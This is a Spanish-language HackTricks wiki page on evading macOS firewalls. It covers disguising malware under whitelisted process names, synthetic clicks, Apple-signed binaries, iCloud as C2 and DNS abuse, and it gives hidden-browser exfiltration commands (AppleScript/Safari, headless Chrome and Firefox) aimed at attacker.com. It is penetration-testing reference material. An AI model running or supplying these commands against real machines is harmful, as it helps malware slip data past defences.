hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

5.9 KiB

Bypass de Firewalls en macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Técnicas encontradas

Se encontraron las siguientes técnicas que funcionan en algunas aplicaciones de firewall de macOS.

Abuso de nombres de lista blanca

  • Por ejemplo, llamar al malware con nombres de procesos de macOS conocidos como launchd

Click sintético

  • Si el firewall solicita permiso al usuario, hacer que el malware haga clic en permitir

Usar binarios firmados por Apple

  • Como curl, pero también otros como whois

Dominios de Apple conocidos

El firewall podría permitir conexiones a dominios de Apple conocidos como apple.com o icloud.com. Y iCloud podría ser utilizado como C2.

Bypass genérico

Algunas ideas para intentar eludir los firewalls

Verificar el tráfico permitido

Conocer el tráfico permitido te ayudará a identificar dominios potencialmente en lista blanca o qué aplicaciones tienen permiso para acceder a ellos.

lsof -i TCP -sTCP:ESTABLISHED

Abusando de DNS

Las resoluciones de DNS se realizan a través de la aplicación firmada mdnsreponder, la cual probablemente estará permitida para contactar con los servidores DNS.

A través de aplicaciones de navegador

  • oascript
tell application "Safari"
    run
    tell application "Finder" to set visible of process "Safari" to false
    make new document
    set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • Google Chrome

{% code overflow="wrap" %} Google Chrome es un navegador web popular que se utiliza en muchos sistemas operativos, incluyendo macOS. A menudo, los firewalls se configuran para bloquear el tráfico de red de Chrome, lo que puede ser un problema para los hackers que intentan establecer una conexión de red. Sin embargo, hay varias formas de evitar los firewalls y establecer una conexión exitosa con Chrome.

"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"

{% endcode %}

  • Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
  • Safari
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

A través de inyecciones de procesos

Si puedes inyectar código en un proceso que tenga permiso para conectarse a cualquier servidor, podrías evadir las protecciones del firewall:

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥